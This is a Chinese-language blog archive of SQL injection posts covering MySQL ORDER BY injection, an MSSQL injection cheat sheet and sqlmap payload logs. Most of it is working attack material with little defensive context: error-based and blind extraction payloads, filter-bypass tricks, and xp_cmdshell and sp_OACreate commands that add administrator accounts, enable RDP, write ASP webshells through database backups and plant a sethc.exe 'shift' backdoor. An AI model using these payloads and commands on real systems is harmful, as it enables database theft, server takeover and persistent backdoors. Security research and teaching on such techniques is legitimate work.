标签归档:SQL注入

【SQL注入】Mysql Order by注入

对于大多数的程序员而言,参数化查询、预编译处理能够解决大部分的注入问题,以PHP为例:

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where name = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $name = $_GET['name']; 

    $mysqli_stmt->bind_param("s",$name); 

    $mysqli_stmt->bind_result($num,$name,$class);  

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

这里bind_param类型

http://192.168.192.120/mysql.php?name=vincent

日志输出:

30 Connect  root@localhost on test

30 Prepare select num,name,class from user where name = ?

30 Execute select num,name,class from user where name = 'vincent'

30 Close stmt 

30 Quit

http://192.168.192.120/mysql.php?name=vincent’ or ‘1’=’1

日志输出:

31 Connect  root@localhost on test

31 Prepare select num,name,class from user where name = ?

31 Execute select num,name,class from user where name = 'vincent\' or \'1\'=\'1'

31 Close stmt 

31 Quit

可以看到单引号被转义了。

 

再来试一下int,修改程序

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where num = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $num = $_GET['num']; 

    $mysqli_stmt->bind_param("i",$num); 

    $mysqli_stmt->bind_result($num,$name,$class); 

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

http://192.168.192.120/mysql.php?num=1 and 1=1

日志输出:

33 Connect  root@localhost on test

33 Prepare select num,name,class from user where num = ?

33 Execute select num,name,class from user where num = 1

33 Close stmt 

33 Quit

可以看到会自动将参数转成整形处理。

 

但是并非所有环境下都适合预编译处理,例如:

select num,name,class from user order by num,name desc;

如果使用预编译处理,order by的参数会被当做一个整体,所以此处无法使用预编译处理,导致排序注入。

排序注入检测:

1)判断返回结果顺序不同
因为order by的值需要为唯一,而select 1 from INFORMATION_SCHEMA.SCHEMATA会返回多个,所以会产生报错。

mysql> select * from user order by if((1=2),2,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select * from user order by if((1=1),1,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
+------+------+-------+
| num | name | class |
+------+------+-------+
| 2 | s | x |
| 1 | xx | yy |
+------+------+-------+
2 rows in set (0.00 sec)

case when:

http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.html
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html

regexp:

mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=1,1,0x00)
);
+------+-----------+
| user | host |
+------+-----------+
| root | 127.0.0.1 |
| root | localhost |
+------+-----------+
2 rows in set (0.01 sec)
mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=2,1,0x00)
);
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

2)利用报错

updatexml:
mysql> SELECT user,host from mysql.user order by updatexml(1,if(1=1,user(),2),1)
;
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

extractvalue:
mysql> SELECT user,host from mysql.user order by extractvalue(1,if(1=1,user(),2)
);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

3)基于时间
注意容易造成拒绝服务

mysql> SELECT user,host from mysql.user order by if(1=1,sleep(2),1);
+------+-----------+
| user | host |
+------+-----------+
| root | localhost |
| root | 127.0.0.1 |
+------+-----------+
2 rows in set (4.00 sec)

修复建议:
使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

Mssql注入基础

判断是否是Mssql

exists (select * from sysobjects)

注释符

/* */          C-style comment

--       SQL comment

;%00         Nullbyte

版本:@@VERSION

select * from test..hehe where id = 1 and @@version like '%2008%'

使用convert报错注入

select * from test..hehe where id = 1 and 1=convert(int,@@version) //爆版本

[Err] 22018 - [SQL Server]在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64)

         Aug 19 2014 12:21:34

         Copyright (c) Microsoft Corporation

         Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)

' 转换成数据类型 int 时失败。

用户:user, system_user, suser_sname()

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

数据库:

DB_NAME(i)

SELECT name FROM master..sysdatabases; //跨库查询需要用..

select * from test..hehe where id = 1 and db_name() > 0 //爆数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。

Hostname:

@@SERVERNAME

SERVERPROPERTY() //适用于MSSQL 2005及更高的版本

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

Tables and Columns:

与Mysql一样通过order by获取字段数

1' ORDER BY 1--                    True

1' ORDER BY 2--                    True

1' ORDER BY 3--                    True

1' ORDER BY 4--                    False - Query is only using 3 columns

-1' UNION SELECT 1,2,3--         True

通过having 与 group by查询爆表名与字段

select * from hehe having 1=1
选择列表中的列'hehe.id' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

就可从返回的错误信息中即可得到当前表名与第1个字段

select * from hehe group by id having 1=1

选择列表中的列'hehe.name' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

即可得到第2个字段名继续提交以下

select * from hehe group by id,name having 1=1

选择列表中的列'hehe.class' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

这样一直下去直到得到所有字段名。

 

MSSQL注入,可以通过系统视图SysDatabases、sysobjects、syscolumns等等来获取信息。具体如下:

select * from hehe where id = 1 and (SELECT top 1 Name FROM Master..SysDatabases )>0 //获取第一个数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'master' 转换成数据类型 int 时失败。

select * from hehe where id = 1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (SELECT top 1 Name FROM Master..SysDatabases))>0 //获取第二个数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'tempdb' 转换成数据类型 int 时失败。



select * from hehe where id = 1 and (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118))) > 0 //获取test库第一个表

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe' 转换成数据类型 int 时失败。

select * from hehe where id = 1 and (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118)) and name not in (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118)))) > 0  //获取test库第二个表

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe1' 转换成数据类型 int 时失败。



select * from hehe where id = 1 and (SELECT TOP 1 syscolumns.name FROM syscolumns,sysobjects WHERE syscolumns.id=sysobjects.id AND sysobjects.name='hehe' ) > 0 //获取hehe表的第一个字段

[Err] 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。



select * from hehe where id = -1 union select id,name,class from test..hehe //获取数据

另外我们知道Mysql获取一些库和表的信息是通过information_schema,其实Mssql中也有information_schema视图

select * from test..hehe where id = 1 and (SELECT TOP 1 TABLE_NAME FROM test.INFORMATION_SCHEMA.TABLES) > 0 //获取Test库的表信息

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe' 转换成数据类型 int 时失败。

select * from test..hehe where id = 1 and (SELECT TOP 1 COLUMN_NAME FROM test.INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'hehe') > 0

[Err] 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。

获取多行数据的方式:
测试表如下:

可以通过以下三条语句一次获取多行内容,通过创建临时表解决:

BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM test..LoginInfo WHERE name>@xy SELECT @xy AS xy INTO TMP_DB END; 
SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB 
select * from test..hehe where id = 1 AND 1=0; DROP TABLE TMP_DB;

从MSSQL 2005开始有了更便捷的方式,通过path()

SELECT table_name+', ' FROM information_schema.tables FOR XML PATH('')

另外还有一种是Sqlmap Union注入的时候用到的

SELECT name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64

 

可以将执行语句转换为16进制执行

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

使用char()绕过单引号检测

SELECT * from test..hehe where id = char(49)

字符串拼接

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';
SELECT str(id)+','+name+','+class+';' FROM test..LoginInfo

条件语句

IF(不能在select语句中使用)

select * from test..hehe where id = 1 IF SUBSTRING(user,1,1)=char(116) WAITFOR delay '0:0:5'

select * from test..hehe where id = 1 declare @w varchar(10) IF SUBSTRING(user,1,1)=char(116) SET @w='0:0:10' ELSE SET @w='0:0:0' WAITFOR DELAY @w

延迟执行

WAITFOR DELAY 'time_to_pass';

WAITFOR TIME 'time_to_execute';

Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

OPENROWSET

在知道sa权限帐号密码情况下,db_owner或者public的数据库权限使用OPENROWSET调用xp_cmdshell 执行系统命令

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'Hehe123456', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

Stacked Queries

Mssql支持Stacked Queries

select * from test..hehe where id = 1 INSERT into hehe values (5,'xxx','ooo')

可以替换空格

01     Start of Heading

02     Start of Text

03     End of Text

04     End of Transmission

05     Enquiry

06     Acknowledge

07     Bell

08     Backspace

09     Horizontal Tab

0A    New Line

0B    Vertical Tab

0C    New Page

0D    Carriage Return

0E     Shift Out

0F     Shift In

10     Data Link Escape

11     Device Control 1

12     Device Control 2

13     Device Control 3

14     Device Control 4

15     Negative Acknowledge

16     Synchronous Idle

17     End of Transmission Block

18     Cancel

19     End of Medium

1A    Substitute

1B    Escape

1C    File Separator

1D    Group Separator

1E     Record Separator

1F     Unit Separator

20     Space

25     %

不过在关键字中有百分号这种方式只在ASP(x)中有效,例如:

S%E%L%E%C%T%01column%02FROM%03table;

A%%ND 1=%%%%%%%%1;

以下字符也可以替换空格

22     "

28     (

29     )

5B    [

5D    ]
SELECT"table_name"FROM[information_schema].[tables];

select(name)from[master]..[sysdatabases]

AND/OR中间字符

01 - 20      Range

21     !

2B    +

2D    -

2E     .

5C    \

7E     ~

反斜杠不适用于MSSQL 2000.

SELECT 1FROM[hehe]WHERE\1=\1AND.1=.1

SELECT 1FROM[hehe]WHERE~20=~20AND+-1=+-1

密码哈希

Mssql 2008的读取方式如下,普通账户无法读取HASH

select name,password_hash from sys.sql_logins

 

参考文章:

http://websec.ca/kb/sql_injection

mssql 2008权限与存储过程

0x01 权限


MSSQL注入中关于权限问题主要有三个,如下:
服务启动权限
在SQL Server配置管理器配置,其中内置账户有三个,分别是Local System、Network Service、Network Service

LocalSystem
LocalSystem是预设的拥有本机所有权限的本地账户,这个账户跟通常的用户账户没有任何关联,也没有用户名和密码之类的凭证。这个服务账户可以打开注册表的HKEY_LOCAL_MACHINE\Security键,当LocalSystem访问网络资源时,它是作为计算机的域账户使用的。
举例来说,以LocalSystem账户运行的服务主要有:WindowsUpdate Client、 Clipbook、Com+、DHCP Client、Messenger Service、Task Scheduler、Server Service、Workstation Service,还有Windows Installer。

NetworkService
NetworkService账户是预设的拥有本机部分权限的本地账户,它能够以计算机的名义访问网络资源。但是他没有Local System 那么多的权限,以这个账户运行的服务会根据实际环境把访问凭据提交给远程的计算机。Network Service账户通常可以访问Network Service、Everyone组,还有认证用户有权限访问的资源。
举例来说,以Network Service账户运行的服务主要有:Distributed Transaction Coordinator、DNS Client、Performance Logs and Alerts,还有RPC Locator。

LocalService
LocalService账户是预设的拥有最小权限的本地账户,并在网络凭证中具有匿名的身份。Local Service账户通常可以访问Local Service、Everyone组还有认证用户有权限访问的资源。
举例来说,以Local Service账户运行的服务主要有:Alerter、Remote Registry、Smart Card、SSDP,还有WebClient。

仅有当MSSQL以LocalSystem运行的时候才可以添加用户执行exec master..xp_cmdshell ‘net user vinc vinc /add’

服务器角色
SQL Server管理员对数据库引擎有无限制的访问权限。sa是默认的管理员账户,查看sa的服务器角色可以看到勾选了sysadmin和public。
新建用户在服务器角色选项内选择sysadmin,那么将具有和sa同样的权限。

数据库角色成员身份
指的是用户针对不同的数据库所具有的操作权限,例如db_owner权限,就在该处配置。

 

0x02 存储过程


xp_cmdshell(sysadmin权限)

select * from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell';

其中xtype=’x’代表扩展存储过程

然后尝试执行

exec master..xp_cmdshell 'net user vinctest test123!@# /add'

建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。

提示:

[Err] 42000 - [SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
可以重启启用。

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE

然后就可以运行成功

默认服务器角色为public无法调用xp_cmdshell。
现在我们新建一个账户test,然后在安全性–登录名-test右键属性,如果在服务器角色选项内选择public。

exec master..xp_cmdshell 'ipconfig'

发现无法成功执行。
提示:

[Err] 42000 - [SQL Server]拒绝了对对象 'xp_cmdshell' (数据库 'mssqlsystemresource',架构 'sys')的 EXECUTE 权限。

使用xp_cmdshell开启RDP服务

exec master..xp_cmdshell 'sc config termservice start= auto'
exec master..xp_cmdshell 'net start termservice'

使用xp_cmdshell编辑注册表允许连接到这台计算机,并且重置RDP端口为3389

exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'

或者

EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00 /f '
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f'
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f'

使用xp_cmdshell将用户添加到远程用户组

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" test /add'

如果3389的端口修改了,怎么办
可以先执行exec master..xp_cmdshell ‘netstat -an’看看那些端口的数字比较特殊,比如9833、12345等,尝试连接
或者Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。终端所对应的服务名为:TermService

可以看到进程号为1396
然后使用netstat -ano | findstr “1396”

然后就可以看到监听端口

删除扩展存储过过程xp_cmdshell的语句

exec master.dbo.sp_dropextendedproc 'xp_cmdshell'

发现报错

无法对 过程 'xp_cmdshell' 执行 删除,因为它不存在,或者您没有所需的权限。
在 SQL Server 2008 和 SQL Server 2005 中,sp_dropextendedproc 不会删除系统扩展存储过程。在 SQL Server 2000 中,sp_dropextendedproc 可用于删除任何扩展存储过程。

sp_makewebtask 备份(sysadmin权限)
Windows 2008中没有该存储过程,Windows 2005中有该存储过程
sp_makewebtask存储过程在MSSQL 2005及以上版本中默认是禁用的
激活 sp_makewebtask存储过程的语句:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;

写入文件

exec sp_makewebtask 'c:\shell.asp',' select ''<%25execute(request("a"))%25>'' ';

sp_OACreate和sp_OAMethod(需要sysadmin权限)
1)wscript.shell执行命令
SQL Server 提供了sp_OACREATE和sp_OAMethod函数,可以利用这两个函数调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
sp_oacreate 存储过程在MSSQL 2005及以上版本中默认是禁用的,激活 sp_oacreate 存储过程的语句:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

语句如下:

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

2)Shell.Application执行命令
Windows2005下成功,Windows2008下失败

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';

3)移动文件

declare @aa int
exec sp_oacreate 'scripting.filesystemobject', @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\sethc1.exe';

4)删除文件

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'c:\windows\system32\sethc.exe'
EXEC @Result = sp_OADestroy @FSO_Token

5)复制文件
例如安装shift后门

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';

因为Windows2008的权限设置比较严格,所以该方式不适用。方法可以参考:

Windows服务器安装shift后门

6)添加管理员账户
Windows2005下成功,Windows2008下失败

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

xp_regwrite(sysadmin权限)
开启远程桌面

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server',
'fDenyTSConnections',
'REG_DWord',0

xp_regread
查看远程桌面是否开启

exec xp_regread
'HKEY_LOCAL_MACHINE',
'SYSTEM\CurrentControlSet\Control\Terminal Server',
'fDenyTSConnections'

xp_dirtree
查看目录

exec xp_dirtree 'C:\'

openrowset(sysadmin权限)
该组件默认是禁止的,开启命令如下:

exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

利用沙盒执行命令
Windows 2005

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 //默认为3
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')

windows 2008
报错,报错信息如下:
因为OLE DB 访问接口’microsoft.jet.oledb.4.0′ 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。

sp_addlogin(sysadmin权限)
创建mssql帐号

exec master.dbo.sp_addlogin vinc123,'123Test!@#'

sp_addsrvrolemember(sysadmin权限)
把创建的mssql登陆帐号提升到sysadmin

exec master.dbo.sp_addsrvrolemember name,sysadmin

sp_password(sysadmin权限)
修改sa用户密码

EXEC sp_password NULL,'Hehe123456','sa'

 

参考文章:
http://blog.csdn.net/ma_jiang/article/details/9235743

Windows服务器安装shift后门

Windows2003


通过远程桌面连接工具连接到Windows远程桌面,在没有输入用户名和密码前,连接按5次Shift键,可以调用c:\windows\system32\sethc.exe,所以需要把c:\windows\system32\sethc.exe替换成其他的执行程序。
例如这里我调用资源管理器,安装方式如下:

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe /y
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe /y
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h

其中attrib +h是添加隐藏属性

 

Windows2008


windows 2008中对于权限设置的比较严格,例如我们通过xp_cmdshell直接替换sethc.exe是没有权限的。如图所示:

exec xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y'

将权限目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)命令

exec xp_cmdshell 'takeown /f c:\windows\system32\sethc.* /a /r /d y'

赋予SYSTEM完全控制权限
cacls c:\windows\system32\sethc.exe /T /E /G system:F

然后就可以复制了

通过shift后门调出DOS窗口

不过windows 2008下如果是用explorer.exe替换无法调用出资源管理窗口。

 

mssql db_owner权限拿shell

如果站库同服务器,且权限为db_owner的话,那么我们可以考虑直接写入一句话。但写入一句话的前提就是知道web物理路径列出web目录。然后利用sql语句创建一个临时表然后将这个一句话插入到这个临时表再进行备份,备份成asp文件就成功得到一个一句话后门了然后连接就OK了

1.判断数据库权限

And 1=(select is_member('db_owner'));--

2.利用xp_dirtree查找web物理目录
如果我们用DB权限写入一句话是需要知道web目录
执行如下:

;create table temp (dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--

再执行:

;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1

利用xp_dirtree 查询 将指定目录文件盒文件夹插入到临时表中 这里查询的是C盘目录
3.写入一句话木马

MSSQL常用的备份策略是:

每周一次完整备份
每天一次差异备份
每小时一次事务日志备份

1)差异备份: 创建差异数据库备份需要有以前的完整数据库备份。

backup database 库名 to disk = 'c:\tmp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database 库名 to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;

2)备份事务日志

alter database test set RECOVERY FULL;
create table test_tmp (a image);
backup log web1 to disk = 'c:\cmd' with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log test to disk = 'c:\shell.asp';

sqlmap mysql payload总结

SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


默认情况下Sqlmap是level 1和risk 1,布尔盲注只会尝试And语句,所以存在布尔盲注的前提是存在查询结果的。
但是测试发现,如果不加上–level 3,无法识别存在SQL注入。SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

提交参数1,本身是存在查询结果的,返回的Content-Length:4824
Sqlmap提交的payload如下:

1' AND 8299=7983 AND 'GVwj'='GVwj
Content-length: 4778
1' AND 5800=5800 AND 'xcJr'='xcJr
Content-length: 4824

可以看到两个请求的Content-Length不同,此处是存在SQL注入的,但是这里Sqlmap却没有判断存在注入。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 > E:\mysql.log
[11:28:42] [WARNING] GET parameter 'id' does not seem to be injectable

而加上–risk 3,使用OR语句就可以

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 --risk 3 > E:\mysql.log
[11:41:39] [PAYLOAD] -4060
Content-length: 4778
[11:41:39] [PAYLOAD] -9307') OR 9390=1031 AND ('jVsv'='jVsv
Content-length: 4778
[11:41:40] [PAYLOAD] -2405' OR 2993=2993 AND 'NMMk'='NMMk
Content-length: 5005
[11:41:40] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")
GET parameter 'id' is vulnerable.

具体的payload如下:
当前用户
二分法比对ascii值

[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>64 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>96 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>112 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>120 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>116 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>114 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>113 AND 'idvA'='idvA

数据库

[11:58:32] [INFO] fetching number of databases
[11:58:32] [PAYLOAD] -7057' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1 AND 'nOyy'='nOyy
[11:58:32] [INFO] retrieved: 5
[11:58:32] [PAYLOAD] -2607' OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1))>64 AND 'beOk'='beOk

Test数据库中的表

[13:46:58] [INFO] fetching number of tables for database 'test'
[13:46:58] [PAYLOAD] -5772' OR ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374),2,1))>1 AND 'CuUY'='CuUY
[13:46:58] [INFO] retrieved: 2
[13:46:58] [PAYLOAD] -5940' OR ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'UtVj'='UtVj

Test数据库vinc表字段

[13:53:44] [INFO] fetching columns for table 'vinc' in database 'test'
[13:53:44] [PAYLOAD] -9033' OR ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374),2,1))>1 AND 'UlEP'='UlEP
[13:53:44] [INFO] retrieved: 3
[13:53:44] [PAYLOAD] -3060' OR ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'Nanq'='Nanq

获取Test数据库vinc表内容

[13:53:45] [INFO] fetching entries for table 'vinc' in database 'test'
[13:53:45] [INFO] fetching number of entries for table 'vinc' in database 'test'
[13:53:45] [PAYLOAD] -3600' OR ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM test.vinc),2,1))>1 AND 'xJsR'='xJsR
[13:53:45] [INFO] retrieved: 3

然后逐字符逐个字段逐行获取数据

[13:53:45] [PAYLOAD] -6761' OR ORD(MID((SELECT IFNULL(CAST(class AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'yemA'='yemA
[13:53:45] [PAYLOAD] -5630' OR ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'nQBD'='nQBD
[13:53:45] [PAYLOAD] -5362' OR ORD(MID((SELECT IFNULL(CAST(name AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'qPiu'='qPiu

时间盲注


时间盲注和布尔盲注Payload类似,因为都无法通过页面回显出数据,只能通过读取Ascii的方式。

[14:00:53] [PAYLOAD] 1' AND 2016=IF((89 88),SLEEP(5),2016) AND 'Iakl'='Iakl

报错注入


1' AND (SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(5776=5776,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'dMzi'='dMzi

ELT(N,str1,str2,str3,…)
